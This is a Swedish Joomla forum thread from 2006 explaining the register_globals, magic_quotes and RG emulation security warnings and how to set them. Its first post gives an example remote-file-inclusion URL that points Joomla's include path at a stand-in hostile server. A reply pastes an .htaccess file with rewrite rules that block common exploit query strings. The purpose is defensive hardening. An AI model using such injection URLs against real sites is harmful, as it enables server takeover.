Säkerhetsmeddelanden i Joomla 1.0.11

Diskutera frågor rörande installation, backup och säkerhet avseende Joomla! 1.0.

Moderators: Zello, chrille

Forum rules
Forumregler
Locked
User avatar
LorenzoG
Joomla! Virtuoso
Joomla! Virtuoso
Posts: 3010
Joined: Fri Aug 19, 2005 8:46 am
Location: Stockholm, Sweden

Säkerhetsmeddelanden i Joomla 1.0.11

Post by LorenzoG » Fri Sep 29, 2006 1:07 pm

I Joomla! 1.0.11, har 3 st. säkerhetsmeddelanden introducerats (Register Globals, Magic Quotes och RG Emulation) för att göra Joomla! installationer säkrare. Följande förklaring är till för att hjälpa dig att förstå och lösa frågorna bakom dessa.

Register Globals
Vad gör den?
Funktionen register_globals hjälper lata utvecklare att koda sina program. I grunden tar den alla värden som passerar i skripet och lägger dem i variabler. Detta innebär att den

Code: Select all

index.php?dricka=mellanmjölk
automatiskt skapar en variabeln $dricka med värdet mellanmjölk i skriptet index.php.

Varför är detta dåligt? Boven i dramat med denna funktion är att den inte kontrollerar att värdet innehåller något skadligt. Om jag skulle vilja skriva över sökvägen som Joomla! använder sig av för att inkludera filer, så behöver jag bara skicka över detta till skriptet:

Code: Select all

index.php?mos_config_livesite=http://elak.hackare.tld
Nu försöker index.php inkludera deras filer och ladda hem den från en fientlig server. Med detta skript, så har hackaren lyckats att komma in i din server.

Funktionen i sig själv är inte dåligt. Om du kontrollerar varje variabel före du använder dess innehåll, så är du i praktiken säker och den här möjlighen hjälper dig (som utvecklare). Problemet är att många utvecklare levererar ett slaffsigt arbete och kontrollerar inte alla deras variabler. I Joomla! är det ännu enklare. För utvecklare finns det en funktion som heter mosGetParam(), som gör (nästan) all kontroll åt dig och den är enkel att använda. Om alla utvecklare skulle använda denna funktion och inte lita på register_globals, då skulle vi ha väldigt få säkerhetsproblem.

Hur kan jag slå av register_globals till off?
Det finns flera vägar att slå av funktionen register_globals.

Apache/PHP konfigurationsfiler utanför din webbplats katalog
Om du har access till konfigurationsfilerna på din server så kan du lägga till följande:

Code: Select all

register_globals = Off
Du bör ha en viss erfarenhet av detta. Gör du något fel så kan det medföra att din webserver slutar att svara!

.htaccess filen
På de flesta servrar med Apache kan du konfiguera filer med namnet .htaccess . Dessa filer kan inte läsas från webben! Rätt ofta kan du inte kopiera över en sådan fil till din webbplats, men du kan döpa om en fil till .htaccess . För att skapa denna fil, öppna en text editor som Notepad eller i Linux vi (EJ Word!!) och skriv in raden

Code: Select all

php_flag register_globals off
Om du sparar denna i din joomlas root-katalog, register_globals är nu satt på off för hela din webbplats och alla underkataloger.

php.ini
Om inte .htaccess filen fungerar, så kan du prova att användna en php.ini fil. Det är nästan samma sak, men raden måste vara

Code: Select all

register_globals = off
och du måste kopiera denna fil till VARJE katalog i din Joomla! installation. Denna post kan hjälpa dig med detta.


Magic Quotes
Vad gör den?
Den här funktionen säkerställer att alla variabler som lämnas över till din databas blir escapade (dvs. backslash tillkommer framför citattecken). Detta innebär att potentiella hacker försök på din databas genom PHP-skript hindras. Den här inställningen ska vara satt på ON!

Hur kan jag sätta på magic_quotes_gpc on?
I grunden är det samma som för register_globals, den enda skillnaden är att du måste lägga in förljande rad i din .htacess:

Code: Select all

php_flag magic_quotes_gpc on
Och i php.ini

Code: Select all

magic_quotes_gpc = on

RG Emulation
Vad gör den?
RG Emulations emulerar (efterliknar) funktionen register_globals. Den förhindrar många av de säkerhetshål som kommer med den riktiga register_globals och gör att många (slaffsigt kodade) extensions fungerar, även då register_globals är avslagen till off. Tyvärr så stänger den inte ute alla säkerhetshål och därför ska du stänga av denna inställning.

Hur kan jag slå av rg_emulation till off?
Öppna filen globals.php i din joomla root-katalog och sök efter följande rad:
define ( 'RG_EMULATION' , 1);
Ändra denna inställning från 1 till 0 (noll) och spara filen. Nu är emulering avstäng och din webbplats är säkrare. Om du nu har extension som inte fungerar, titta då på denna tråd.


Är min webbplats säker nu?
Nej. Det finns ett antal fler vägar som en hacker kan komma in på din server. Dessa tre inställningarna stänger ute just de tre största hålen på din server. Säkerhet blir generellt aldrig fullständigt och detta menas att du kan bara göra det så svårt som möjligt för potentiella hackare att komma in på din webbplats. För att försäkra dig om ytterligare säkerhet, använd alltid den senaste versionen av Joomla! och de extensions som du använder på din webbplats. Utöver detta bör du även prenumerera på de senaste säkerhetemeddelanderna i säkerhetsforumet. Detta gör du genom att klicka på Notify knappen längst ner i säkerhetsforumet


Detta inlägg är fritt översatt av Hannes Pappenberg (Hackwar) inlägg i säkerhetsforumet. Det finns en diskussionstråd som diskuterar detta.
Last edited by pe7er on Tue May 13, 2008 8:18 pm, edited 1 time in total.
Reason: unstickied

hazzo
Joomla! Fledgling
Joomla! Fledgling
Posts: 4
Joined: Sun Oct 22, 2006 8:48 am

Re: Säkerhetsmeddelanden i Joomla 1.0.11

Post by hazzo » Sun Nov 19, 2006 12:08 pm

Är helt ny på området men har lyckats installera min server apache samt php och mysql på min macbook pro som kommer att vara min server.
Behöver dock lite hjälp med att fixa magic quotes. Vet nämligen inte var jag ska skriva in dessa rader som visas nedan?

Min access fil idag:

##
# @version $Id: htaccess.txt 4756 2006-08-25 16:07:11Z stingrey $
# @package Joomla
# @copyright Copyright (C) 2005 Open Source Matters. All rights reserved.
# @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
# Joomla! is Free Software
##


#####################################################
#  READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE
#
# The line just below this section: 'Options FollowSymLinks' may cause problems
# with some server configurations.  It is required for use of mod_rewrite, but may already
# be set by your server administrator in a way that dissallows changing it in
# your .htaccess file.  If using it causes your server to error out, comment it out (add # to
# beginning of line), reload your site in your browser and test your sef url's.  If they work,
# it has been set by your server administrator and you do not need it set here.
#
# Only use one of the two SEF sections that follow.  Lines that can be uncommented
# (and thus used) have only one #.  Lines with two #'s should not be uncommented
# In the section that you don't use, all lines should start with #
#
# For Standard SEF, use the standard SEF section.  You can comment out
# all of the RewriteCond lines and reduce your server's load if you
# don't have directories in your root named 'component' or 'content'
#
# If you are using a 3rd Party SEF or the Core SEF solution
# uncomment all of the lines in the '3rd Party or Core SEF' section
#
#####################################################

#####  SOLVING PROBLEMS WITH COMPONENT URL's that don't work #####
# SPECIAL NOTE FOR SMF USERS WHEN SMF IS INTEGRATED AND BRIDGED
# OR ANY SITUATION WHERE A COMPONENT's URL's AREN't WORKING
#
# In both the 'Standard SEF', and '3rd Party or Core SEF' sections the line:
# RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
# May need to be uncommented.  If you are running your Joomla/Mambo from
# a subdirectory the name of the subdirectory will need to be inserted into this
# line.  For example, if your Joomla/Mambo is in a subdirectory called '/test/',
# change this:
# RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
# to this:
# RewriteCond %{REQUEST_URI} ^(/test/component/option,com) [NC,OR] ##optional - see notes##
#
#####################################################


##  Can be commented out if causes errors, see notes above.
Options FollowSymLinks

#
#  mod_rewrite in use
#  php_flag magic_quotes_gpc on

RewriteEngine On

#  Uncomment following line if your webserver's URL
#  is not directly related to physical file paths.
#  Update Your Joomla/MamboDirectory (just / for root)

# RewriteBase /


########## Begin - Joomla! core SEF Section
############# Use this section if using ONLY Joomla! core SEF
## ALL (RewriteCond) lines in this section are only required if you actually
## have directories named 'content' or 'component' on your server
## If you do not have directories with these names, comment them out.
#
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
#RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
RewriteCond %{REQUEST_URI} (/|\.htm|\.php|\.html|/[^.]*)$  [NC]
RewriteRule ^(content/|component/) index.php
#
########## End - Joomla! core SEF Section



########## Begin - 3rd Party SEF Section
############# Use this section if you are using a 3rd party (Non Joomla! core) SEF extension - e.g. OpenSEF, 404_SEF, 404SEFx, SEF Advance, etc
#
#RewriteCond %{REQUEST_URI} ^(/component/option,com) [NC,OR] ##optional - see notes##
#RewriteCond %{REQUEST_URI} (/|\.htm|\.php|\.html|/[^.]*)$  [NC]
#RewriteCond %{REQUEST_FILENAME} !-f
#RewriteCond %{REQUEST_FILENAME} !-d
#RewriteRule (.*) index.php
#
########## End - 3rd Party SEF Section



########## Begin - Rewrite rules to block out some common exploits
## If you experience problems on your site block out the operations listed below
## This attempts to block the most common type of exploit `attempts` to Joomla!
#                             
# Block out any script trying to set a mosConfig value through the URL
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|\%3D) [OR]
# Block out any script trying to base64_encode crap to send via URL
RewriteCond %{QUERY_STRING} base64_encode.*\(.*\) [OR]
# Block out any script that includes a tag in URL
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
# Block out any script trying to set a PHP GLOBALS variable via URL
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
# Block out any script trying to modify a _REQUEST variable via URL
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
# Send all blocked request to homepage with 403 Forbidden error!
RewriteRule ^(.*)$ index.php [F,L]
#
########## End - Rewrite rules to block out some common exploits
Grymt tacksam för alla tips


Hazzo
Last edited by hazzo on Sun Nov 19, 2006 12:23 pm, edited 1 time in total.

hazzo
Joomla! Fledgling
Joomla! Fledgling
Posts: 4
Joined: Sun Oct 22, 2006 8:48 am

Re: Säkerhetsmeddelanden i Joomla 1.0.11

Post by hazzo » Sun Nov 19, 2006 12:47 pm

Vart ligger php.ini filen??
Söker på den och kommer till screen.config.html?


Locked

Return to “Installation, backup och säkerhet”